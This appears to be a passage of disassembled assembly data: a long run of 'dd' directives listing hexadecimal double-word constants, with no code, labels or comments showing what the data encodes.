		dd 0C09DC4ECh, 39CD4A53h, 18544605h, 221615C0h,	0E09B579h
		dd 0DB5C019Bh, 0A6E411E9h, 7FA207A1h, 0D056EDB4h, 0AB1CEE97h
		dd 210A241Eh, 0BE409B18h, 0BC5E00CFh, 907ABD6Bh, 0EF019AC5h
		dd 880BBB6Ch, 4040ED91h, 0BC1D927h, 0B5DBCF74h,	0DF578280h
		dd 0E20454ECh, 992520E3h, 0A328DC90h, 0A1110010h, 0E689A2E5h
		dd 0C800271Eh, 2CAB1482h, 6DB4E0Ah, 0EC9B8093h,	0F60A6149h
		dd 0A1A7AA1Ah, 33CF1300h, 31829A98h, 690E039h, 2C85CCE2h
		dd 55B92900h, 0CEE8EEA3h, 6371268Ch, 80B69C28h,	943365FAh
		dd 4701093Fh, 0BF03C8E0h, 98C02785h, 979F0099h,	4BBDFB14h
		dd 0EBE43ED1h, 0A815452Ah, 79AE4101h, 0B740F677h, 9C2F8h
		dd 0D70E84B8h, 45ED9B68h, 1690B1C0h, 5B44D0BDh,	0E61A801Bh
		dd 3D06EEE0h, 3B62E297h, 7F6AC028h, 0ABB77113h,	0BCAECD0Ch
		dd 0F06BE8B8h, 0F4807C9Fh, 0C1B93EB4h, 146A507Bh, 97B37CA9h
		dd 72007FF0h, 1C8BE52Bh, 3014787h, 0EC8F106Bh, 0D4B068CFh
		dd 0D600EDF4h, 717ECB27h, 377377FFh, 0F938AEBBh, 6B6A7680h
		dd 0FC006978h, 0DFE61B71h, 783CDAF6h, 34A7981h,	417EB3B6h
		dd 20014D34h, 9BF29F6Ah, 204ED3BDh, 814DA511h, 76246910h
		dd 0D8EAC801h, 3104FD0h, 151EEBEFh, 82EC8073h, 0CA7A2277h
		dd 0B7DC2C00h, 4385EDA1h, 1CE6F076h, 37694112h,	0BBAD7056h
		dd 0EA18EEDFh, 0E448FF6Bh, 7C1D2873h, 0B08D1C84h, 60EC5903h
		dd 0D755304Bh, 703CAE00h, 66C7C2E4h, 0F8A0091h,	72FEE537h
		dd 19C3E321h, 0D9A3A1E1h, 8CDAEBDEh, 44E0689Ch,	8900916Fh
		dd 879242CEh, 0C8B3FA0h, 81DC394Ah, 0FE18E398h,	7C38C9BFh
		dd 555F3069h, 0B16BC418h, 0B16E1330h, 4C3EB98Ah, 231E619Eh
		dd 8AF59E8h, 0A8218077h, 1F513EC1h, 32800092h, 1C4A8264h
		dd 6E0CFC18h, 917D429Dh, 0CB870F83h, 0D1806501h, 0E9F82156h
		dd 821F3B0Fh, 24662431h, 0AFB834C0h, 0D440C03Ch, 0FE03B9EBh
		dd 3C1F6B80h, 78872D9Fh, 366F8680h, 0F36008A8h,	2D96C221h
		dd 0F55730CAh, 0A26DFF10h, 282F0D01h, 0BD26D5B1h, 3976E083h
		dd 0F01B6FC8h, 96A17042h, 0ADBB0569h, 14E8618Bh, 9B3D8B3Ch
		dd 0CAA3AF07h, 0B2A1808Ah, 7215E1BBh, 2C8E523h,	0F039FEE4h
		dd 88DC90E2h, 0B36C07AAh, 51C5608Dh, 48B8EBD5h,	2D1C9E68h
		dd 116378BAh, 95C102E8h, 0C07BD82Dh, 1BD2C33Eh,	482319EEh
		dd 0D0850D89h, 0EAF0B84Ch, 30E4C800h, 0DF2C5C94h, 68443065h
		dd 63C4E8D9h, 8737B400h, 39D8CFC7h, 0EAFC00C3h,	5860C802h
		dd 9B1EC56Ah, 824AFD6h,	0DD186187h, 0E050E627h,	3B1B9C47h
		dd 8601786Eh, 429BFF85h, 4B61826Dh, 86B32AA7h, 6009EA7Ch
		dd 0AFAB217Eh, 1148F72Ah, 6BC51E0Ch, 0B3C03024h, 0F7E3A43Eh
		dd 0AA886F18h, 0E63E04BBh, 80B5E415h, 2C0BB81Dh, 3802F378h
		dd 80EE61ACh, 0FA9881EAh, 39926C6Eh, 2A480057h,	74A73D82h
		dd 0F2D2F013h, 0B2BB3800h, 5402BC9Bh, 0FEA1B4EDh, 0AF4E002Fh
		dd 4DF79D98h, 0F4007C8Ch, 2552FED6h, 1261FDDBh,	40EE585Ah
		dd 0B817502Ch, 0EAFC2A66h, 789D0B7h, 88A6809Dh,	0E3A170B5h
		dd 156A236Fh, 0E016431h, 0A53EA032h, 43492D5h, 1461409Dh
		dd 10296769h, 0EF1C14h,	0BDBA8BAEh, 5A621D76h, 0FA3EE100h
		dd 15A3A544h, 5D810434h, 90768A87h, 0E629901Ch,	14DF6B0Ch
		dd 594963h, 0EC55BE0Ah,	0E5EFE1EDh, 74E02509h, 426D80A7h
		dd 0EE661938h, 768B04B2h, 805DF069h, 0F333EB8Ch, 67E4F500h
		dd 26D91E0h, 0FE549A04h, 7B2D1FCBh, 8483CB0h, 0A9019523h
		dd 0D2E2B12Ah, 0EF8B7618h, 0C4C02AE1h, 3DDCE7D4h, 0EF8152FDh
		dd 3069185Bh, 6C44347Bh, 142461F0h, 0D9ECD480h,	0D6D3022Ah
		dd 0AF54BC60h, 8591E881h, 1068CC20h, 0F8F09C50h, 1B0DF88h
		dd 3E3B3EAh, 208846D9h,	3414E4E8h, 2AD8B2A2h, 97488872h
		dd 9E0075A4h, 0E6856BE5h, 0A4D064D4h, 10360198h, 405976B4h
		dd 10246243h, 7F3B3A88h, 40C7026h, 9086F03Eh, 7983E298h
		dd 0FFF48A50h, 0FAAC3A02h, 96A7F68h, 600AEB09h,	0EEA700BCh
		dd 72AF1E11h, 0D0E32624h, 37054426h, 0B41080A4h, 57C114B8h
		dd 0B0CB8084h, 6674A92Ch, 0A96DA0D7h, 0A52180EFh, 86CD2CB8h
		dd 44E35C8Eh, 0EAAF4100h, 47E5C193h, 3D0318FCh,	7A86E880h
		dd 0A305D5D1h, 0E8609AFFh, 23B62AA6h, 8011AAE2h, 2AAEAC00h
		dd 0FCA10355h, 7178DCA0h, 284EE02Ch, 9D817F45h,	11C8FE85h
		dd 94041EBDh, 0F80B4074h, 0B88023E4h, 0E7758607h, 4C9096BFh
		dd 12A4326Dh, 19E85F5h,	4A1E3569h, 0BC9C2001h, 0B50480ACh
		dd 0AF74A62Ch, 0AA20E262h, 0E12CBDh, 0E34B3952h, 7C69347Ah
		dd 0EE21E061h, 0C98C81E5h, 0C559F002h, 1FF4E600h, 410E51F5h
		dd 9F2F0145h, 90958A29h, 0E39BFC03h, 8C237701h,	0EC7C68B8h
		dd 0CB9D5180h, 0FE1D8091h, 78BC4Ch, 11BFD2C9h, 608468ABh
		dd 107229BDh, 0D07B2183h, 0F1588B18h, 0FB185719h, 7C7B94ECh
		dd 0FD1D00B8h, 0C8C186BAh, 0CCF0A2D5h, 330B348h, 5A587D5Ch
		dd 0F851086Ch, 0EB000F36h, 33E62737h, 59DC6157h, 404CA1B8h
		dd 0CC1852FBh, 0CEF27500h, 50A0A914h, 3A6D001Eh, 0D347E75Dh
		dd 3490B6B8h, 0B402BD46h, 0B774A52Ch, 0A900B49Ch, 0B4CA2CBCh
		dd 0AC195Dh, 888B66A2h,	0DF34DA13h, 0A6107439h,	8A0BC0F4h
		dd 66D01058h, 86E3007Dh, 1BA952ABh, 7BE4B2E2h, 9870D524h
		dd 0C6E82603h, 0ACD82C1Fh, 60BD167Ch, 0B52DA3A0h, 11A07823h
		dd 9ABE00E6h, 82FBC82Dh, 0B96507CAh, 18BC7DDh, 206D7061h
		dd 833FCB50h, 0AA468AACh, 6F40C457h, 0EBA113h, 8331D107h
		dd 30BAC291h, 0D91CD200h, 4F676CA7h, 0FCC602B5h, 6B72FA9Ah
		dd 0DF51EB00h, 0E8D548CFh, 60BAB064h, 23B42DA4h, 0E711A878h
		dd 2D9BBF00h, 0B9AA792Bh, 30FABE3Fh, 0D6E35969h, 76EF403Bh
		dd 144A175Ch, 2334C1FAh, 2DA201BCh, 189878B6h, 99BD88E5h
		dd 487E2D00h, 0FAA46338h, 9012FCACh, 0D6E61758h, 0AF044E87h
		dd 0EAE34241h, 0ADE420C7h, 0B507DCB3h, 0BFF4A23Eh, 0ACC00CA2h
		dd 0D953EBDh, 198A6905h, 2CC13C52h, 0C329B23h, 1628B029h
		dd 0E38E05B2h, 782822A7h, 0E0BAAB22h, 0C739004h, 692C70FEh
		dd 21C01248h, 9259D96Ah, 4AA50FE4h, 0F3CE6E0Bh,	0D4C0C83Ah
		dd 3F24E553h, 465E6C92h, 175F01E5h, 0FA715D9Ch,	40C79470h
		dd 6B02DFE0h, 59104748h, 0CB786820h, 733E04E4h,	82044AE0h
		dd 8541EC5Ch, 0D868216Fh, 549662D7h, 3819E8E4h,	506FFD44h
		dd 0B80BEEF8h, 203FC8B9h, 3D5109DBh, 986EA3A6h,	0A7437940h
		dd 0C9D70820h, 480F20CCh, 0B78820C8h, 0C92DA1C3h, 4C289078h
		dd 2D98C4B0h, 0D07A0300h, 72CBFCB4h, 0D87F7018h, 6115C8F0h
		dd 9D6D40h, 0C08DE0ACh,	0D9CBD388h, 7707D8F2h, 79DA4BC7h
		dd 7AA18A47h, 87E8A180h, 0BC660064h, 1F8EC58Ch,	9D00D77Bh
		dd 83D6CBE4h, 7A8A77E0h, 0DD940E9Fh, 0BE8CE14Bh, 10CE9528h
		dd 9FD6CFD9h, 89C38880h
		dd 2ED7CBE2h, 0F93E49Ch, 7E1EC88Dh, 0C277DA03h,	67C7CD8Eh
		dd 0DC86819Dh, 0C9CDCB8Ah, 0FB041A30h, 0CDA8AE81h, 0CEB42088h
		dd 9329D8EAh, 586218E3h, 259CC90Fh, 0B007F463h,	0E7B665D7h
		dd 9B17D15Eh, 0E61C70F1h, 94F08312h, 384A490h, 448D2EDh
		dd 0C05AE470h, 2F18BDA8h, 0DEDF9C02h, 0C1814036h, 2BE4FE98h
		dd 0E7EE2C99h, 51FF0074h, 22734945h, 376B400h, 484E136Eh
		dd 9BEF1329h, 0BE8C07CCh, 798AA093h, 0ECB25240h, 51E5989Ch
		dd 0E4396C80h, 0D772845Ah, 6C91D9C4h, 0C083DCA4h, 0FEB12BF9h
		dd 2671E53Ah, 0D7C00186h, 0A0F54095h, 0E7061BFEh, 108C748Bh
		dd 9E0711Dh, 6868CD8Ch,	3BC20196h, 0BA6AEC12h, 3EEF01AEh
		dd 0C074E7C8h, 1B93E681h, 40C24A15h, 8965DE8h, 2350319Ch
		dd 0D37896D0h, 0D4A0821h, 9048C4Ah, 792BD1A6h, 882D8182h
		dd 88859A1Ch, 0B294C813h, 0EE3EEC01h, 0EA5863E3h, 2E008C29h
		dd 818F8303h, 0A13EBC19h, 3D4451FAh, 9EE04194h,	28248708h
		dd 648ABFC4h, 90F8FF3h,	0BF14DEF9h, 26643700h, 6C4420h
		dd 0B6CD3CA7h, 8A7AD883h, 8E079B77h, 90E09DC9h,	78988C85h
		dd 1650B0CCh, 1F89D77Ah, 0C34B0354h, 0DCA3BDAEh, 1990C6F3h
		dd 65295FF1h, 0AC806823h, 0E8346FD6h, 0E3DD1475h, 63C304E7h
		dd 0E6E2CB96h, 8000C9Ah, 83CD94ACh, 4CFE20A1h, 0A852BB74h
		dd 21FD3E08h, 0B87EBE66h, 0A0F353D0h, 3F02E9A2h, 326F05EDh
		dd 1899C968h, 6721B843h, 308A2B09h, 599D1BD1h, 46102907h
		dd 716741BDh, 0C8482D21h, 0DB88CF08h, 3F207020h, 9CEF4DB7h
		dd 3F6F0ABEh, 0C4420CC7h, 8CB2CBh, 0A1AABB50h, 0A428D4AFh
		dd 6D78D393h, 4FE00843h, 0A5682848h, 9622426h, 89646344h
		dd 245E1265h, 9160485Fh, 447A2261h, 7D897C7Bh, 0F7E07613h
		dd 0BD72BAA3h, 0B3B8970Dh, 29C3C1C3h, 6584FEB9h, 0B2042E69h
		dd 0E708A68Eh, 228B3AC0h, 0FC66A9Fh, 28EBAECh, 73CFB8Fh
		dd 0C7508A63h, 2288B1E5h, 0C096FD85h, 0EE7C6C6Dh, 0E6747474h
		dd 9E706AE4h, 50F7ED19h, 6400DB40h, 0FF1E708Ah,	0D0096B92h
		dd 7F484DC6h, 0F57F04E8h, 302BE759h, 0BC9BA788h, 95B3A808h
		dd 0E0C2ADB2h, 0D1603815h, 60BBDC88h, 761011AFh, 0D64BDDDh
		dd 18500E09h, 0ABFE0442h, 14007EB8h, 0F546EC76h, 284A70DDh
		dd 3F10E7C8h, 38523E13h, 2A00BAACh, 2E2C0E2Dh, 0F8EFC8EDh
		dd 0BB033E9Eh, 0CEE5051Dh, 790367D1h, 0ECE2E676h, 73C07227h
		dd 1429E778h, 28E81FB2h, 0E4D4FB8Bh, 0AFA69EE1h, 58791CE7h
		dd 0CE30F165h, 8AE2F8CCh, 0DE8EC207h, 1AD79C92h, 0C090D783h
		dd 8CC793h, 9181EBD6h, 8ECD79DAh, 0C05278E4h, 6858F14h
		dd 7E30DB87h, 0D98E3E9Ch, 0C720DA3Dh, 88C27B00h, 8FC18AD2h
		dd 6AB90EE4h, 0DCC6DE48h, 0C639909Fh, 18BCB782h, 0A0C19370h
		dd 0DD8D0ED8h, 809BE09Fh, 7C9283Ah, 9CBE76D3h, 0F79E7C4Ch
		dd 0DA877886h, 77183186h, 9E599CD7h, 0C7B53DCh,	0CE00C442h
		dd 8AE483CDh, 64CA9BC5h, 770288D6h, 99D988C3h, 0BDF4EDDCh
		dd 71803CF5h, 65E6EE0Ch, 84053049h, 1478E25h, 0BD5817EEh
		dd 0D457CA90h, 86BF7040h, 0E59C2F6Fh, 0F2E998F8h, 0A7304955h
		dd 249B7Eh, 53732F19h, 12CA09ECh, 401CEE61h, 8D3BC20Ch
		dd 6801F9C9h, 0FF4A1954h, 0A98858EAh, 0B007FE74h, 6840BF7Fh
		dd 806DDD83h, 0E1D17114h, 0F46C2218h, 68CC6E09h, 69148610h
		dd 2A91D31h, 19514A5Dh,	0E9840E2Ch, 6E4B1091h, 48304334h
		dd 0F6188A40h, 1E6C4A38h, 0BDFA6B92h, 2D4329E1h, 33089FDh
		dd 335C10F5h, 1530C652h, 0DF0A5917h, 0C8F93DDEh, 6CC95706h
		dd 0FEA0540h, 0FFCE51B4h, 58A3E402h, 0EF61024Ah, 69422881h
		dd 1CE12BC8h, 2D790EDFh, 317893E7h, 19C24F14h, 0A0A6D66Dh
		dd 0B3417EFCh, 0E6192A21h, 0F1F360A4h, 1E32E826h, 0F1EEF8A3h
		dd 397C2C0Ch, 544231AAh, 506CA43Dh, 516B4C8Ch, 84015810h
		dd 29106667h, 42BFF3EFh, 3EC011E0h, 633418D8h, 95033054h
		dd 40FE1914h, 58ED2A4Ch, 2664E889h, 0E02AC154h,	0A4485CDEh
		dd 0F3C4856Dh, 194D3431h, 0E0E3B888h, 0B9081C59h, 3165C485h
		dd 70187705h, 28161828h, 5885217Ch, 4989516Fh, 1188504Fh
		dd 28426559h, 213D3531h, 217B4478h, 0DD0FEB99h,	79A27290h
		dd 504F8111h, 0A290258Eh, 1AA91148h, 28752D84h,	11468461h
		dd 0C8B829A2h, 5C996C14h, 0EF436C24h, 60A948F7h, 34A111C9h
		dd 81D2CB2Bh, 1E766B51h, 11B57844h, 0EE840B40h,	8188CC11h
		dd 7A71FF29h, 9091F153h, 38440C6Dh, 400878A6h, 0A08BF6ECh
		dd 4DEE6234h, 1161A42Dh, 48EC1FEFh, 0F56F834Ch,	4B924461h
		dd 266598C2h, 6A150913h, 80480402h, 836923F2h, 0D211C1F1h
		dd 2293E35Dh, 651512E8h, 0A836DC34h, 2AE00C41h,	64116C13h
		dd 0A4EF3F24h, 7210EC79h, 2600423h, 8F9F8411h, 0D22001E9h
		dd 9583E332h, 0A4308171h, 0DD3BDE65h, 18801430h, 5886F72Ch
		dd 0B333D66Bh, 0C90E18F2h, 71806843h, 0FB4E5690h, 6D09E9A2h
		dd 873CA5ECh, 0C320E49Ah, 607BE6E3h, 4D1551F0h,	0A500AAC2h
		dd 51EAD5BDh, 0A64B25h,	0A4562C6Ch, 0FB03B2CAh,	8894E9C0h
		dd 2EAD35AEh, 4C48A8h, 4AC69BA3h, 2A01EB9Eh, 0A24F2CE1h
		dd 806274FAh, 0C5268333h, 0F0787000h, 3DE1C092h, 0A97C0128h
		dd 0CBEEE39Ah, 0A52089ECh, 0AC96806Ch, 60EBC16Ah, 0F6305860h
		dd 893FEDA0h, 29C580E1h, 0FC96FF80h, 3021E949h,	0E1A101C7h
		dd 501F256Ch, 0D86215h,	1206B0ECh, 7E76622Ch, 0BCF09539h
		dd 0A0432Eh, 0C9A65100h, 1654600Fh, 188B427h, 0F6D9BF9Dh
		dd 0A0A2E815h, 0EDBCBD00h, 0E2AC7E26h, 0DDD23CC5h, 0FC792C00h
		dd 9DA210DFh, 0D0F1D5EAh, 987133FFh, 0BCD41B0Eh, 9E3880BAh
		dd 260687h, 0C1789A2h, 0A0EA98A4h, 0A887401h, 6AA9103h
		dd 0FEA587D0h, 0FC7E0F38h, 0BD8037E7h, 8596050Ah, 8B8640C0h
		dd 59A381Dh, 9036FFC4h,	374040FBh, 35028593h, 9103BCF0h
		dd 69FA1D4h, 3031C505h,	12ECBABDh, 1C985394h, 0F0AC308h
		dd 24CC8B9h, 9E9304FFh,	91609905h, 90FB8C41h, 1183045Bh
		dd 70079893h, 0CEDBCA94h, 0A11CA58Eh, 89601867h, 38F3406h
		dd 0D0C7198Ah, 948A1CDDh, 2FF2CB8h, 9CA23Ah, 91C9D405h
		dd 56DE693Ch, 0A03E38F5h, 3CBFB007h, 32026E78h,	14949F9Eh
		dd 0FB00408Eh, 0AFCF3CF4h, 5900CE8h, 690D0A99h,	9DF8419Fh
		dd 0C6C7091Ch, 4689495h, 6625F0F5h, 0D7FDAB00h,	31E0AA79h
		dd 0CDFC0071h, 128B6905h, 98269106h, 0AF0434FEh, 0D7030Dh
		dd 0C6809447h, 3CD8BD05h, 0E8793D1Ch, 8690040Ah, 0C068C4D7h
		dd 99870C3Ch, 692406E8h, 0E202A8D9h, 6605F58Ah,	3C6CA120h
		dd 480289F4h, 506AEC06h, 0C2DCC174h, 9041D3CEh,	0FF040A60h
		dd 33ECCAC0h, 4E09D8Fh,	1A8DD0Bh, 0B2902E34h, 49BF4062h
		dd 93E0B158h, 38173AA4h, 3013DD3Ch, 5CD01499h, 0F1DDF3Ch
		dd 8440759Eh, 0DDC08050h, 340E0987h, 2E12DB91h,	80109A92h
		dd 9DEFA38Ch, 0BFE0097h, 51CA48Fh, 1D3A9C93h, 12D63C12h
		dd 0A4038D01h, 18879610h, 60A39110h, 0D7F9A497h, 0C1D5800h
		dd 4B1989Ah, 140C195h, 0D1169F86h, 7FC8BC9Eh, 0E7402EAh
		dd 0DD1230C7h, 1F0F16C3h, 940CA1h, 96900201h, 9A7D341Bh
		dd 4A118B1h, 0F89452F5h, 37019E1Eh, 0D42EDB1Ch,	1985CF60h
		dd 97DD2C35h, 0DC606F60h, 0A20E0AC0h, 81CDB09h,	4EB83A93h
		dd 4885EA18h, 953CF098h
		dd 900EB107h, 83114487h, 0E787FFE8h, 9E90CC94h,	7C391D2Ch
		dd 93101E3Ch, 6403080Fh, 0C08FBFA0h, 0EBF895AFh, 0A437FC0Bh
		dd 8082C424h, 988F0CACh, 0DB9EE4B3h, 0CB0C4CFCh, 92980199h
		dd 0DC600D8Bh, 0A3E1E998h, 2C287CD3h, 44C4068Ah, 0A08C303h
		dd 121C0916h, 0A7E4C414h, 0B28A50CCh, 2EA6ECC0h, 720910Bh
		dd 4F88903Bh, 0F169A28Dh, 9935F09Eh, 20B91CE8h,	2C94120Ah
		dd 0E43C435Ah, 1D8A60C1h, 1B34D8A4h, 198581Bh, 0FE1F9EA4h
		dd 0B0339210h, 228029CFh, 950A418h, 38B5D086h, 0D50423FFh
		dd 16F5AFF0h, 0C8BF68CEh, 8608CF84h, 72A10D94h,	18857C78h
		dd 0C890F8E5h, 1486D81Dh, 6804FF99h, 6AA00EFh, 1D889526h
		dd 2ED8B035h, 816430FFh, 898990Ch, 0B3185538h, 0DD5044F8h
		dd 2BE1BC1Dh, 31BB805h,	950920D0h, 38055CA4h, 0C3199813h
		dd 96C80C44h, 3DE1FF9Eh, 0D4374F3Ch, 8781D9A7h,	0A5CC0EE6h
		dd 8F121F1Bh, 0BC0FDFA0h, 96058C5Ch, 0C00D0B9Ch, 7630EA90h
		dd 2E6DC10h, 881D5058h,	200CD8A4h, 910E0906h, 9F360A89h
		dd 800E2E38h, 0C8D83892h, 8C7030A1h, 0DEBB7468h, 9C8F3314h
		dd 34932980h, 0F8845C76h, 0DD913417h, 0E3340B50h, 90F285A0h
		dd 0FF9D7581h, 0B1F04034h, 0C5746CD3h, 8992D71Ch, 86DD0201h
		dd 218B0C09h, 0FC818537h, 0FC87A434h, 0DB4E8F11h, 982D301Dh
		dd 9CBEBDE0h, 0A9382180h, 257C7E10h, 51B9C0Ch, 3507E874h
		dd 0F1289A96h, 8A82C060h, 0DC801C90h, 96333918h, 0C8A2209Fh
		dd 749E031Dh, 900C139Ah, 0DCB8859Dh, 0D150FBE0h, 80A3BBC4h
		dd 0CB8C44E5h, 3DF8E6DBh, 0A10E9F95h, 905BE11Dh, 8E948A88h
		dd 0BADDA5DCh, 70D8D010h, 0B9040C78h, 0A2A41205h, 0ABDC04C1h
		dd 419E8042h, 2E92CD08h, 87780A0Ch, 60DB98F0h, 0D15F9E97h
		dd 0CDDDC33h, 7DB9A28h,	8A811DE9h, 0DC4C5849h, 58914BF7h
		dd 12894860h, 11DCCD2Dh, 8DF00AD4h, 5344909Fh, 644AF49Eh
		dd 88F0F464h, 309C2090h, 0A50E331Fh, 87912F02h,	0C0860D0Ah
		dd 0FFF080C0h, 5F189437h, 1185BEF5h, 80188797h,	29F5982Ch
		dd 69D9600h, 8383CA1h, 11AE414h, 79426C4Ch, 0FAB6CCB0h
		dd 0F81570C0h, 0F4DB49C0h, 75856C55h, 7CC019F5h, 34E608EDh
		dd 0FC03BAE8h, 99E27755h, 9DFA802Fh, 83800043h,	76FF4151h
		dd 0E41E3DF8h, 0BAC0229Bh, 0B096C4FEh, 0FB41C17Fh, 6F4433F1h
		dd 3AD961A0h, 0B68090F5h, 0E4BC4E7Ah, 0A003A7DFh, 25E1F491h
		dd 0E05A883Ch, 6BE8C1C0h, 80A86D42h, 0D2E80B8h,	0A7DE4Eh
		dd 0F9AFF4A1h, 0CD354A15h, 1CFB20C0h, 53AB6CEAh, 3E842059h
		dd 0BD0A614Fh, 0AB9489FCh, 3B6A80ACh, 996B01EFh, 8113ADD7h
		dd 0BCF3D3D8h, 7100207Ah, 0FE5CF73Bh, 2ADBEC6Ch, 0E8A4F615h
		dd 0D3E8E0h, 0AA6FA4BEh, 1696C5F1h, 0D2E844h, 9060B08Ch
		dd 0D5858204h, 0F512C901h, 5BD4BF57h, 0A0BE6CC0h, 15A00480h
		dd 0A0AD2467h, 803EB01Eh, 0E10522AFh, 0D53A11F7h, 21B830E0h
		dd 426E6h, 3ABAD2B3h, 9B612512h, 0B824E0F8h, 0DD8118C4h
		dd 363B6CB3h, 6694CDE8h, 21A8093Eh, 6CAC7D00h, 7B17B275h
		dd 994A1514h, 1D00ACAEh, 735143ECh, 0E0A0D8F4h,	0AB01B404h
		dd 54FD6DFCh, 0E9606492h, 27440021h, 385ABBEEh,	0EC76F0CAh
		dd 0B86EF300h, 0C88C9850h, 0F84E1B25h, 64C0300Ch, 4D7213B2h
		dd 8B984700h, 1F56E468h, 63287353h, 5C8559A1h, 72B43103h
		dd 80EF6B5Bh, 3025203Ch, 3548A38Eh, 0AA1E1F68h,	1BC04ED7h
		dd 0E5276EB7h, 9E3E00EFh, 0C191C623h, 0C400B55Ah, 0DEB3F7F3h
		dd 674A33C0h, 0B7BC188Fh, 0CBA9EC02h, 1D2D3Fh, 0A3825C80h
		dd 318D0964h, 5538E9DDh, 33918065h, 933C5EA2h, 78B1382Eh
		dd 101CDD2Bh, 0F1BC308Fh, 2A2335h, 0A380C734h, 0F5526C65h
		dd 33A98700h, 0F12E909Bh, 60E071E1h, 0EB4EE072h, 98C0C276h
		dd 0A036339Fh, 0B45A01C0h, 5623D6DEh, 0C8605E82h, 3B47D6F9h
		dd 10B4B514h, 0E8322506h, 31024059h, 58522475h,	84088127h
		dd 0D910142Ah, 0AA613BC1h, 0B0199EF8h, 2B881822h, 8DF73831h
		dd 5E083423h, 0E60BC01h, 0D063F7h, 5B4EF34Dh, 0BA59851h
		dd 989B4A29h, 75D80300h, 0E8308F1Fh, 78260039h,	242889D2h
		dd 0A4A0931Ah, 9E622B35h, 20C8D798h, 4DE4C018h,	0CEBDC8A0h
		dd 2788A460h, 0D02F2822h, 4211A4C8h, 2889E256h,	3B557020h
		dd 8D44058Ch, 409A8CEAh, 19EB7EACh, 0B9E62717h,	0E91F380Eh
		dd 8C888AB8h, 0AFF3588Fh, 0B5D941A2h, 0B087CDBFh, 7A8F0BB4h
		dd 0C8C3BA8h, 6FE887CAh, 0B43A182Ah, 0B3FAF703h, 0D83505B0h
		dd 1202E77h, 0EBD5ABF3h, 0DB16E837h, 339B280Ah,	0AE83F42Fh
		dd 6C3670Bh, 30DC2118h,	0F005874h, 0ADA7761Fh, 0C4A5DB1h
		dd 0AA921BAEh, 0D62A5628h, 0F3013C6Eh, 74250EEDh, 0F6E00CFEh
		dd 0C6A53958h, 42F454h,	4D4706C2h, 1F9CCB76h, 0E820D4A2h
		dd 0C852B1DEh, 0DBA01E51h, 41B77FB9h, 0F92223D8h, 0CE188142h
		dd 58854E34h, 0C47824h,	2FF5DDDCh, 0D7A97AF9h, 0AC08F863h
		dd 0A4200134h, 0D5D3DDE4h, 3094C447h, 548E5F1Ch, 0BECF38C1h
		dd 64EFA223h, 9062D8E8h, 162BBD34h, 0AC189941h,	0C2310CE7h
		dd 4698AFDBh, 0A4D4C507h, 36759CF2h, 957DA44Eh,	0BA330464h
		dd 3800CEA2h, 0D1C36220h, 2DFED214h, 92D602A8h,	60453CCCh
		dd 611422B5h, 0EC073826h, 561090D8h, 9E12F001h,	803C7CF9h
		dd 68535569h, 0C42AE02h, 5AB658C9h, 21C01D08h, 6A684BFAh
		dd 50C2FA95h, 40AFF063h, 21E604B3h, 4E6ED415h, 43640294h
		dd 80FF089Ch, 0FD9BC4B2h, 65FA054Ah, 28B32FCAh,	0E8C131C4h
		dd 5A77FD5Dh, 9BBA1E86h, 0EC1E0AC2h, 30C1AEBh, 3D5810C7h
		dd 0C61264FFh, 0AC0440A8h, 1E557BFEh, 9A19E97Fh, 0B508990Dh
		dd 40E6219Ch, 2E52A07Bh, 7D62B6A7h, 0B94F60h, 0AC672638h
		dd 0A906081Fh, 0FB40D05Fh, 0FADDC4C2h, 3ECF12B5h, 0F27463B0h
		dd 358498DFh, 708C1A51h, 0F1B308BEh, 0D7005089h, 0DC1EA96Ah
		dd 206F6395h, 3901998Eh, 0FDF227F3h, 7048B97Ch,	2449859h
		dd 0CF7B4462h, 840E89Ah, 2009CEB4h, 49F5634h, 0BC983824h
		dd 93847F25h, 18BF596Ch, 0F3D203BAh, 0B409FB1Bh, 0F67C0CFh
		dd 0E83E7EF4h, 57B612ADh, 2C1F6801h, 0AA5FAh, 0B777B5E3h
		dd 5CA4A05h, 34CF28CEh,	0E344204Dh, 2F23F0DDh, 0C011E1h
		dd 4FDDEB99h, 2C70F0Bh,	9D5A92EFh, 1C466461h, 28737CA0h
		dd 0D0F8264Ch, 0A58EC5C0h, 938AB040h, 391944Ch,	0C0BE6DD5h
		dd 4588659Ah, 9C9BED8Dh, 1819EC01h, 96181127h, 2EF45988h
		dd 81CD19h, 4A247AA9h, 0B4A03008h, 9774BA2Fh, 4C3098D2h
		dd 1E107360h, 81F50BB8h, 25EF4EACh, 18A1317Ch, 7D241398h
		dd 68962431h, 0C3110700h, 12632E2h, 0D83DCFA0h,	640E1B4Dh
		dd 0E976EEDCh, 5C6C1F00h, 3A055711h, 99091CCDh,	0D1A258B4h
		dd 5B5424A1h, 0AA2C31B8h, 88A454C3h, 0C5A7008h,	0B879284Fh
		dd 0E300237Ah, 0D35C94C5h, 96F3ABAh, 0E49EAF71h, 4A2538B0h
		dd 4057D434h, 33FA400h,	17F57D26h, 49CE2C1Eh, 3C87163Ch
		dd 6C29A8B0h, 0CC708F60h, 0B57E00FCh, 0E0B3DDC5h, 6280A8Ch
		dd 4898E088h, 1CBA432Ch, 7C37BE50h, 0B4534035h,	789DB828h
		dd 0B8904D90h, 7C57C220h, 10E54DFEh, 0E27BEC87h, 0B931991Eh
		dd 7BF4CC10h, 1EDEBF01h, 0E775283Bh, 12774466h,	4689B1B5h
		dd 399CC608h, 0B28FFC00h, 33C21E92h, 3A30005h, 7DEA145Eh
		dd 76002518h, 0FBB20D01h
		dd 79C132h, 1C4EE8C4h, 1DC78045h, 48A35C07h, 58C6F4EFh
		dd 3C020218h, 7C83C47Eh, 65251482h, 58FC7B01h, 127600DAh
		dd 407C851h, 7D6B113Fh,	77417B70h, 31F07C42h, 0E470A33Dh
		dd 0FF598C55h, 0F8B64961h, 0BC634024h, 29E7C300h, 0A714FC3Dh
		dd 62AB1CE0h, 89C705CDh, 4506357h, 8C78FCE1h, 714AD818h
		dd 551E5CB2h, 5EC5B700h, 6DA6C0DDh, 54DC790Ch, 0D1384Ah
		dd 34CAC141h, 7D6AFDCBh, 400075E8h, 47F66E9Bh, 0C3F133FCh
		dd 2071A818h, 549067DAh, 5400AABBh, 0FBFA6A2Bh,	0C26E74CBh
		dd 0F0092818h, 80F850A5h, 8054BD71h, 50D4230Ah,	0EFC05C66h
		dd 1CDDE0Fh, 4241C0BBh,	88A5A4BEh, 0CA33090h, 3ED88327h
		dd 4806100h, 259E85D0h,	0B1B30229h, 0EFFD050Ah,	5AA0BCAFh
		dd 0F42AC83Fh, 10883E50h, 9B3A9807h, 46318B79h,	88C8371h
		dd 31203F09h, 0C53A9000h, 0DCCE02DFh, 30CA7F8Dh, 4741F62Bh
